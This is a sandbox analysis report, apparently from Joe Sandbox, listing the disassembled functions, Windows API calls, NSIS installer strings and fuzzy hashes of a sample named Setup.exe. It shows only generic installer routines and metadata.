SetFileAttributes failed., xrefs: 004017A1
Call: %d, xrefs: 0040165A
CreateDirectory: "%s" created, xrefs: 00401849
detailprint: %s, xrefs: 00401679
Rename failed: %s, xrefs: 0040194B

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction ID: d546d874ac51cf0a7c72b7d7aee7a5a926bf82a1b22bfeef9e4f81a1fba4758f
Opcode Fuzzy Hash: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction Fuzzy Hash: 9EB1F435A00214ABDB10BFA1DD55DAE3F69EF44324B21817FF806B61E2DA3D4E40C66D

Function 004054A5 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054E1
ShowWindow.USER32(?), ref: 004054FE
DestroyWindow.USER32 ref: 00405512
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040552E
GetDlgItem.USER32(?,?), ref: 0040554F
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405563
IsWindowEnabled.USER32(00000000), ref: 0040556A
GetDlgItem.USER32(?,00000001), ref: 00405619
GetDlgItem.USER32(?,00000002), ref: 00405623
KiUserCallbackDispatcher.NTDLL(?,000000F2,?), ref: 0040563D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040568E
GetDlgItem.USER32(?,00000003), ref: 00405734
ShowWindow.USER32(00000000,?), ref: 00405756
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405768
EnableWindow.USER32(?,?), ref: 00405783
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405799
EnableMenuItem.USER32(00000000), ref: 004057A0
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057B8
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057CB
lstrlenW.KERNEL32(00451D98,?,00451D98,00476AA0), ref: 004057F4
SetWindowTextW.USER32(?,00451D98), ref: 00405808
ShowWindow.USER32(?,0000000A), ref: 0040593C

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$CallbackDispatcherEnableMenuUser$DestroyEnabledLongSystemTextlstrlen
String ID:
API String ID: 3906175533-0
Opcode ID: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction ID: f960999a9681c69a960cfafceaa395f4ab6c0ab2fcbff8166cb7657a87eea2d0
Opcode Fuzzy Hash: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction Fuzzy Hash: 13C189B1500A04FBDB216F61ED89E2B7BA9EB49715F00093EF506B11F1C6399881DF2E

Function 00405958 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

lstrcatW.KERNEL32(004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0,-00000002,00000000,004E30C8,00403AED,?), ref: 004059DA
lstrlenW.KERNEL32(0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0), ref: 00405A5C
lstrcmpiW.KERNEL32(0046E218,.exe,0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000), ref: 00405A6F
GetFileAttributesW.KERNEL32(0046E220), ref: 00405A7A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D30A8), ref: 00405AE3
RegisterClassW.USER32(00476A40), ref: 00405B36
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B4E
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B87

Part of subcall function 00403EC1: SetWindowTextW.USER32(00000000,00476AA0), ref: 00403F5C

ShowWindow.USER32(00000005,00000000), ref: 00405BBD
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BCE
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BD9
GetClassInfoW.USER32(00000000,RichEdit20A,00476A40), ref: 00405BE9
GetClassInfoW.USER32(00000000,RichEdit,00476A40), ref: 00405BF6
RegisterClassW.USER32(00476A40), ref: 00405BFF
DialogBoxParamW.USER32(?,00000000,004054A5,00000000), ref: 00405C1E

Strings

@jG, xrefs: 00405AF2
RichEdit20A, xrefs: 00405BE2, 00405BE7
RichEd32, xrefs: 00405BD4
RichEdit, xrefs: 00405BF0
F, xrefs: 00405A22
"F, xrefs: 00405A4B
Control Panel\Desktop\ResourceLocale, xrefs: 0040599E
_Nb, xrefs: 00405AFD
.exe, xrefs: 00405A69
RichEd20, xrefs: 00405BC9
.DEFAULT\Control Panel\International, xrefs: 004059C5

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: F$"F$.DEFAULT\Control Panel\International$.exe$@jG$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-2746725676
Opcode ID: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction ID: c846f8899feab6000a015ad3d9ba4b80e1385b5ee8e185a3118195eaaf4def2f
Opcode Fuzzy Hash: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction Fuzzy Hash: 53719175600705AEE710AB65AD89E2B37ACEB44718F00453FF906B62E2D778AC41CF6D

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

lstrcatW.KERNEL32(00000000,00000000,183,004D70B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,183,183,00000000,00000000,183,004D70B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00425979,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00425979,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425979,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Strings

File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
183, xrefs: 00401A53, 00401A5C, 00401A69, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user cancel, xrefs: 00401B93
File: error, user abort, xrefs: 00401B53
File: error, user retry, xrefs: 00401B40
File: wrote %d to "%s", xrefs: 00401BD0
File: error creating "%s", xrefs: 00401AF0
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: 183$File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"
API String ID: 4286501637-2505658019
Opcode ID: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction ID: 90fa90950dbbf035c4f81507b49f49b55cd41b97b653845b504dd01eb698d819
Opcode Fuzzy Hash: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction Fuzzy Hash: 8B512931901214BADB10BBB5CC46EEE3979EF05378B20423FF416B11E2DB3C9A518A6D

Function 004035B3 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004035C4
GetModuleFileNameW.KERNEL32(00000000,004EB0D8,00002004,?,?,?,00000000,00403A73,?), ref: 004035E0

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

GetFileSize.KERNEL32(00000000,00000000,004EF0E0,00000000,004DB0B8,004DB0B8,004EB0D8,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 0040362C

Strings

Error launching installer, xrefs: 00403603
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037F1
soft, xrefs: 004036A1
Inst, xrefs: 00403698
Null, xrefs: 004036AA

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction ID: dd9ffda97dac1e18d9081c595fe0b3a994810ea71df15e1d022794f6b5594c79
Opcode Fuzzy Hash: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction Fuzzy Hash: 8551B8B1900214AFDB20DFA5DC85B9E7EACAB1435AF60857BF905B72D1C7389E408B5C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 175
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033F1
GetTickCount.KERNEL32 ref: 00403492
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004034BB
wsprintfW.USER32 ref: 004034CE
WriteFile.KERNELBASE(00000000,00000000,00425979,00403792,00000000), ref: 004034FF
WriteFile.KERNEL32(00000000,00420170,?,00000000,00000000,00420170,?,000000FF,00000004,00000000,00000000,00000000), ref: 00403597

Strings

... %d%%, xrefs: 004034C8
yYB, xrefs: 0040346F, 0040348A, 00403513
(]C, xrefs: 004033FD
pAB, xrefs: 004033AB

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: (]C$... %d%%$pAB$yYB
API String ID: 651206458-4203522772
Opcode ID: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction ID: 38da17626370685da8d32df628044978fcb9abff53cdf920ebdff1c577d6aec0
Opcode Fuzzy Hash: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction Fuzzy Hash: BE615D71900219EBCF10DF69ED8469E7FBCAB54356F10413BE810B72A0D7789E90CBA9

Function 00404F9E Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00445D80,00425979,74DF23A0,00000000), ref: 00404FD6
lstrlenW.KERNEL32(004034E5,00445D80,00425979,74DF23A0,00000000), ref: 00404FE6
lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425979,74DF23A0,00000000), ref: 00404FF9
SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425979,74DF23A0,00000000), ref: 00406902

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction ID: 2ad3572104664f977ebc3f2c903ed8e4223e657edd1a0c85de02785a0cf57670
Opcode Fuzzy Hash: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction Fuzzy Hash: CD219DB1800518BBDF119F65CD849CFBFB9EF45714F10803AF905B22A1C7794A909B98

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

183, xrefs: 00402770
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
<RM>, xrefs: 00402713

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: 183$<RM>$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-2545433164
Opcode ID: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction ID: 073f588d32262f2f2aee4dc53e9f390c64699363c3e1a285ed73a3087a8005e5
Opcode Fuzzy Hash: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction Fuzzy Hash: FF014471D4022AABCB117FA68DC99EE7978AF08345B10403FF115761E3D7B80940CBAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00425979,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00425979,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425979,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004D70B0,?), ref: 00402202

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction ID: 745ed8f2a75272e62c3db2eabdadd847eb541a5ed47e1f4d533bb28834579f01
Opcode Fuzzy Hash: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction Fuzzy Hash: CD01F7B2B4021076D72076B69C87FAB2A5CDB81768B20447BF502F60D3E57D8C40D138

Function 00405EAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405EC9
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040382A,004DF0C0,004E30C8), ref: 00405EE4

Strings

nsa, xrefs: 00405EB8

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction ID: e8a8b8b1c64af8904643f6899c21fc71a506a3659d4cdc328e790c9301f5e3ed
Opcode Fuzzy Hash: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction Fuzzy Hash: D8F09076600208BBDB10CF69DD05A9FBBBDEF95710F00803BE944E7250E6B09E50DB98

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

